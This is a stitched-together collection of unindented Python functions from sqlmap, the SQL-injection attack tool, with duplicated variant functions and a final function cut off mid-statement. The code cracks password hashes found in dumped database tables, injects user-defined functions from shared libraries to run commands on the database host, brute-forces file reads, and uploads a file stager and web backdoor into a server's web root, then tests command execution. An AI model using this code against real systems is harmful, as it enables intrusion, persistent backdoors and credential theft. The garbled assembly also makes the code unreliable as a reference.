lut = dict()
for (_, hash_, password) in results:
if hash_:
key = hash_ if hash_ not in replacements else replacements[
hash_]
lut[key.lower()] = password
debugMsg = "post-processing table dump"
logger.debug(debugMsg)
for i in xrange(count):
for column in columns:
if not (column == col_user or column == '__infos__'
or len(table[column]['values']) <= i):
value = table[column]['values'][i]
if value and value.lower() in lut:
table[column]['values'][i] = "%s (%s)" % (
getUnicode(table[column]['values'][i]),
getUnicode(lut[value.lower()]
or HASH_EMPTY_PASSWORD_MARKER))
table[column]['length'] = max(
table[column]['length'],
len(table[column]['values'][i]))
def fileExists(pathFile):
retVal = []
message = "which common files file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % pathFile
message += "[2] custom"
choice = readInput(message, default='1')
if choice == '2':
message = "what's the custom common files file location?\n"
pathFile = readInput(message) or pathFile
infoMsg = "checking files existence using items from '%s'" % pathFile
logger.info(infoMsg)
paths = getFileItems(pathFile, unique=True)
kb.bruteMode = True
try:
conf.dbmsHandler.readFile(randomStr())
except SqlmapNoneDataException:
pass
except:
kb.bruteMode = False
raise
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(paths)
threadData.shared.value = []
def fileExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
path = ntToPosixSlashes(paths[threadData.shared.count])
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
try:
result = unArrayizeValue(conf.dbmsHandler.readFile(path))
except SqlmapNoneDataException:
result = None
kb.locks.io.acquire()
if not isNoneValue(result):
threadData.shared.value.append(result)
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (
time.strftime("%X"), path)
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (
threadData.shared.count, threadData.shared.limit,
round(100.0 * threadData.shared.count /
threadData.shared.limit))
dataToStdout(
"\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
True)
kb.locks.io.release()
try:
pushValue(logger.getEffectiveLevel())
logger.setLevel(logging.CRITICAL)
runThreads(conf.threads, fileExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during file existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
finally:
kb.bruteMode = False
logger.setLevel(popValue())
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no file(s) found"
logger.warn(warnMsg)
else:
retVal = threadData.shared.value
return retVal
def attackDumpedTable():
if kb.data.dumpedTable:
table = kb.data.dumpedTable
columns = table.keys()
count = table["__infos__"]["count"]
if not count:
return
infoMsg = "analyzing table dump for possible password hashes"
logger.info(infoMsg)
found = False
col_user = ''
col_passwords = set()
attack_dict = {}
for column in columns:
if column and column.lower() in COMMON_USER_COLUMNS:
col_user = column
break
for i in xrange(count):
if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD:
break
for column in columns:
if column == col_user or column == '__infos__':
continue
if len(table[column]['values']) <= i:
continue
value = table[column]['values'][i]
if hashRecognition(value):
found = True
if col_user and i < len(table[col_user]['values']):
if table[col_user]['values'][i] not in attack_dict:
attack_dict[table[col_user]['values'][i]] = []
attack_dict[table[col_user]['values'][i]].append(value)
else:
attack_dict['%s%d' % (DUMMY_USER_PREFIX, i)] = [value]
col_passwords.add(column)
if attack_dict:
message = "recognized possible password hashes in column%s " % (
"s" if len(col_passwords) > 1 else "")
message += "'%s'. Do you want to " % ", ".join(
col for col in col_passwords)
message += "crack them via a dictionary-based attack? %s" % (
"[y/N/q]" if conf.multipleTargets else "[Y/n/q]")
test = readInput(message,
default="N" if conf.multipleTargets else "Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
results = dictionaryAttack(attack_dict)
lut = dict()
for (_, hash_, password) in results:
if hash_:
lut[hash_.lower()] = password
infoMsg = "postprocessing table dump"
logger.info(infoMsg)
for i in xrange(count):
for column in columns:
if not (column == col_user or column == '__infos__'
or len(table[column]['values']) <= i):
value = table[column]['values'][i]
if value and value.lower() in lut:
table[column]['values'][i] += " (%s)" % lut[
value.lower()]
table[column]['length'] = max(
table[column]['length'],
len(table[column]['values'][i]))
def udfInjectCustom(self):
if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
errMsg = "UDF injection feature is not yet implemented on %s" % Backend.getIdentifiedDbms(
)
raise sqlmapUnsupportedFeatureException(errMsg)
if not isTechniqueAvailable(
PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
return
self.checkDbmsOs()
if not self.isDba():
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if not conf.shLib:
msg = "which is the local path of the shared library? "
while True:
self.udfLocalFile = readInput(msg)
if self.udfLocalFile:
break
else:
logger.warn(
"you need to specify the local path of the shared library"
)
else:
self.udfLocalFile = conf.shLib
if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist"
raise sqlmapFilePathException(errMsg)
if not self.udfLocalFile.endswith(
".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'"
raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows"
raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux"
raise sqlmapMissingMandatoryOptionException(errMsg)
self.udfSharedLibName = os.path.basename(
self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(
self.udfLocalFile).split(".")[1]
msg = "how many user-defined functions do you want to create "
msg += "from the shared library? "
while True:
udfCount = readInput(msg, default=1)
if isinstance(udfCount, basestring) and udfCount.isdigit():
udfCount = int(udfCount)
if udfCount <= 0:
logger.info("nothing to inject then")
return
else:
break
elif isinstance(udfCount, int):
break
else:
logger.warn("invalid value, only digits are allowed")
for x in range(0, udfCount):
while True:
msg = "what is the name of the UDF number %d? " % (x + 1)
udfName = readInput(msg)
if udfName:
self.udfs[udfName] = {}
break
else:
logger.warn("you need to specify the name of the UDF")
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
defaultType = "string"
elif Backend.getIdentifiedDbms() == DBMS.PGSQL:
defaultType = "text"
self.udfs[udfName]["input"] = []
default = 1
msg = "how many input parameters takes UDF "
msg += "'%s'? (default: %d) " % (udfName, default)
while True:
parCount = readInput(msg, default=default)
if isinstance(parCount, basestring) and parCount.isdigit(
) and int(parCount) >= 0:
parCount = int(parCount)
break
elif isinstance(parCount, int):
break
else:
logger.warn("invalid value, only digits >= 0 are allowed")
for y in range(0, parCount):
msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
while True:
parType = readInput(msg, default=defaultType)
if isinstance(parType, basestring) and parType.isdigit():
logger.warn(
"you need to specify the data-type of the parameter"
)
else:
self.udfs[udfName]["input"].append(parType)
break
msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType
while True:
retType = readInput(msg, default=defaultType)
if isinstance(retType, basestring) and retType.isdigit():
logger.warn(
"you need to specify the data-type of the return value"
)
else:
self.udfs[udfName]["return"] = retType
break
self.udfInjectCore(self.udfs)
msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] "
choice = readInput(msg, default="Y")
if choice[0] in ("n", "N"):
self.cleanup(udfDict=self.udfs)
return
elif choice[0] in ("q", "Q"):
self.cleanup(udfDict=self.udfs)
raise sqlmapUserQuitException
while True:
udfList = []
msg = "which UDF do you want to call?"
for udf in self.udfs.keys():
udfList.append(udf)
msg += "\n[%d] %s" % (len(udfList), udf)
msg += "\n[q] Quit"
while True:
choice = readInput(msg)
if choice and choice[0] in ("q", "Q"):
break
elif isinstance(choice, basestring) and choice.isdigit(
) and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice)
break
elif isinstance(choice,
int) and choice > 0 and choice <= len(udfList):
break
else:
warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList)
logger.warn(warnMsg)
cmd = ""
count = 1
udfToCall = udfList[choice - 1]
for inp in self.udfs[udfToCall]["input"]:
msg = "what is the value of the parameter number "
msg += "%d (data-type: %s)? " % (count, inp)
while True:
parValue = readInput(msg)
if parValue:
if "int" not in inp and "bool" not in inp:
parValue = "'%s'" % parValue
cmd += "%s," % parValue
break
else:
logger.warn(
"you need to specify the value of the parameter")
count += 1
cmd = cmd[:-1]
msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] in ("y", "Y"):
output = self.udfEvalCmd(cmd, udfName=udfToCall)
if output:
conf.dumper.string("return value", output)
else:
dataToStdout("No return value\n")
else:
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
msg = "do you want to call this or another injected UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] not in ("y", "Y"):
break
self.cleanup(udfDict=self.udfs)
def processResponse(page, responseHeaders, status=None):
kb.processResponseCounter += 1
page = page or ""
parseResponse(
page, responseHeaders
if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)
if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS, ):
kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
else:
kb.tableFrom = None
if conf.parseErrors:
msg = extractErrorMessage(page)
if msg:
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
if kb.originalPage is None:
for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
match = re.search(regex, page)
if match and PLACE.POST in conf.parameters:
name, value = match.groups()
if PLACE.POST in conf.paramDict and name in conf.paramDict[
PLACE.POST]:
if conf.paramDict[PLACE.POST][name] in page:
continue
else:
msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
if not readInput(msg, default='N', boolean=True):
continue
conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub(
r"(?i)(%s=)[^&]+" % re.escape(name),
r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])
if not kb.browserVerification and re.search(r"(?i)browser.?verification",
page or ""):
kb.browserVerification = True
warnMsg = "potential browser verification protection mechanism detected"
if re.search(r"(?i)CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
for match in re.finditer(r"(?si)<form.+?</form>", page):
if re.search(r"(?i)captcha", match.group(0)):
kb.captchaDetected = True
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
break
if re.search(BLOCKED_IP_REGEX, page):
warnMsg = "it appears that you have been blocked by the target server"
singleTimeWarnMessage(warnMsg)
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for directory in directories:
self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName))
if success:
break
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Extra check - required
if not uploaded:
self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port)
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = ntToPosixSlashes(os.path.join(self.webBaseUrl, backdoorName))
self.webDirectory = directory
self.webBackdoorFilePath = ntToPosixSlashes(os.path.join(directory, backdoorName))
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def getColumns(self,
onlyColNames=False,
colTuple=None,
bruteForce=None,
dumpMode=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
colList = conf.col.split(',')
else:
colList = []
if conf.exclude:
colList = [
_ for _ in colList if re.search(conf.exclude, _, re.I) is None
]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
if conf.tbl:
tblList = conf.tbl.split(',')
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = list(six.itervalues(kb.data.cachedTables))
if tblList and isListLike(tblList[0]):
tblList = tblList[0]
else:
errMsg = "unable to retrieve the tables "
errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
raise SqlmapNoneDataException(errMsg)
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = {
safeSQLIdentificatorNaming(tbl, True): columns
}
return kb.data.cachedColumns
message = "do you want to use common column existence check? [y/N/q] "
choice = readInput(message,
default='Y' if 'Y' in message else 'N').upper()
if choice == 'N':
return
elif choice == 'Q':
raise SqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[DBMS.SYBASE].columns
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
blinds = [False, True]
else:
blinds = [True]
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
if dumpMode and colList:
table = {}
table[safeSQLIdentificatorNaming(tbl, True)] = dict(
(_, None) for _ in colList)
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
continue
infoMsg = "fetching columns "
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
for blind in blinds:
query = rootQuery.inband.query % (
conf.db, conf.db, conf.db, conf.db, conf.db, conf.db,
conf.db, unsafeSQLIdentificatorNaming(tbl))
retVal = pivotDumpTable(
"(%s) AS %s" % (query, kb.aliasName),
['%s.name' % kb.aliasName,
'%s.usertype' % kb.aliasName],
blind=blind,
alias=kb.aliasName)
if retVal:
table = {}
columns = {}
for name, type_ in filterPairValues(
_zip(retVal[0]["%s.name" % kb.aliasName],
retVal[0]["%s.usertype" % kb.aliasName])):
columns[name] = SYBASE_TYPES.get(
int(type_) if hasattr(type_, "isdigit")
and type_.isdigit() else type_, type_)
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
break
return kb.data.cachedColumns
def getColumns(self,
onlyColNames=False,
colTuple=None,
bruteForce=None,
dumpMode=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
colList = conf.col.split(",")
else:
colList = []
if conf.excludeCol:
colList = [
_ for _ in colList if _ not in conf.excludeCol.split(',')
]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
if conf.tbl:
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
else:
errMsg = "unable to retrieve the tables "
errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
raise SqlmapNoneDataException(errMsg)
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = {
safeSQLIdentificatorNaming(tbl, True): columns
}
return kb.data.cachedColumns
message = "do you want to use common column existence check? [y/N/q] "
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
if dumpMode and colList:
table = {}
table[safeSQLIdentificatorNaming(tbl)] = dict(
(_, None) for _ in colList)
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
continue
infoMsg = "fetching columns "
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
randStr = randomStr()
query = rootQuery.inband.query % (
unsafeSQLIdentificatorNaming(tbl),
("'%s'" % unsafeSQLIdentificatorNaming(conf.db))
if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), [
'%s.columnname' % randStr,
'%s.datatype' % randStr,
'%s.len' % randStr
],
blind=True)
if retVal:
table = {}
columns = {}
for columnname, datatype, length in zip(
retVal[0]["%s.columnname" % randStr],
retVal[0]["%s.datatype" % randStr],
retVal[0]["%s.len" % randStr]):
columns[safeSQLIdentificatorNaming(
columnname)] = "%s(%s)" % (datatype, length)
table[tbl] = columns
kb.data.cachedColumns[conf.db] = table
return kb.data.cachedColumns
def _setRequestParams():
"""
Check and set the parameters and perform checks on 'data' option for
HTTP method POST.
"""
if conf.direct:
conf.parameters[None] = "direct connection"
return
testableParameters = False
# Perform checks on GET parameters
if conf.parameters.get(PLACE.GET):
parameters = conf.parameters[PLACE.GET]
paramDict = paramToDict(PLACE.GET, parameters)
if paramDict:
conf.paramDict[PLACE.GET] = paramDict
testableParameters = True
# Perform checks on POST parameters
if conf.method == HTTPMETHOD.POST and conf.data is None:
errMsg = "HTTP POST method depends on HTTP data value to be posted"
raise SqlmapSyntaxException(errMsg)
if conf.data is not None:
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
def process(match, repl):
retVal = match.group(0)
if not (conf.testParameter
and match.group("name") not in conf.testParameter):
retVal = repl
while True:
_ = re.search(r"\\g<([^>]+)>", retVal)
if _:
retVal = retVal.replace(
_.group(0),
match.group(
int(_.group(1)) if _.group(1).isdigit() else _.
group(1)))
else:
break
return retVal
if kb.processUserMarks is None and CUSTOM_INJECTION_MARK_CHAR in conf.data:
message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR
message += "'--data'. Do you want to process it? [Y/n/q] "
test = readInput(message, default="Y")
if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
kb.processUserMarks = not test or test[0] not in ("n", "N")
if not (kb.processUserMarks
and CUSTOM_INJECTION_MARK_CHAR in conf.data):
if re.search(JSON_RECOGNITION_REGEX, conf.data):
message = "JSON data found in %s data. " % conf.method
message += "Do you want to process it? [Y/n/q] "
test = readInput(message, default="Y")
if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException
elif test[0] not in ("n", "N"):
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR,
ASTERISK_MARKER)
conf.data = re.sub(
r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"',
functools.partial(process,
repl=r'\g<1>%s"' %
CUSTOM_INJECTION_MARK_CHAR),
conf.data)
conf.data = re.sub(
r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)',
functools.partial(process,
repl=r'\g<0>%s' %
CUSTOM_INJECTION_MARK_CHAR),
conf.data)
kb.postHint = POST_HINT.JSON
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
message = "JSON-like data found in %s data. " % conf.method
message += "Do you want to process it? [Y/n/q] "
test = readInput(message, default="Y")
if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException
elif test[0] not in ("n", "N"):
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR,
ASTERISK_MARKER)
conf.data = re.sub(
r"('(?P<name>[^']+)'\s*:\s*'[^']+)'",
functools.partial(process,
repl=r"\g<1>%s'" %
CUSTOM_INJECTION_MARK_CHAR),
conf.data)
conf.data = re.sub(
r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)",
functools.partial(process,
repl=r"\g<0>%s" %
CUSTOM_INJECTION_MARK_CHAR),
conf.data)
kb.postHint = POST_HINT.JSON_LIKE
elif re.search(SOAP_RECOGNITION_REGEX, conf.data):
message = "SOAP/XML data found in %s data. " % conf.method
message += "Do you want to process it? [Y/n/q] "
test = readInput(message, default="Y")
if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException
elif test[0] not in ("n", "N"):
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR,
ASTERISK_MARKER)
conf.data = re.sub(
r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)",
functools.partial(process,
repl=r"\g<1>\g<4>%s\g<5>" %
CUSTOM_INJECTION_MARK_CHAR),
conf.data)
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower(
) else POST_HINT.XML
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
message = "Multipart like data found in %s data. " % conf.method
message += "Do you want to process it? [Y/n/q] "
test = readInput(message, default="Y")
if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException
elif test[0] not in ("n", "N"):
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR,
ASTERISK_MARKER)
conf.data = re.sub(
r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P<name>[^\n]+?)[\"']).+?)(((\r)?\n)+--)",
functools.partial(process,
repl=r"\g<1>%s\g<4>" %
CUSTOM_INJECTION_MARK_CHAR),
conf.data)
kb.postHint = POST_HINT.MULTIPART
if not kb.postHint:
if CUSTOM_INJECTION_MARK_CHAR in conf.data: # later processed
pass
else:
place = PLACE.POST
conf.parameters[place] = conf.data
paramDict = paramToDict(place, conf.data)
if paramDict:
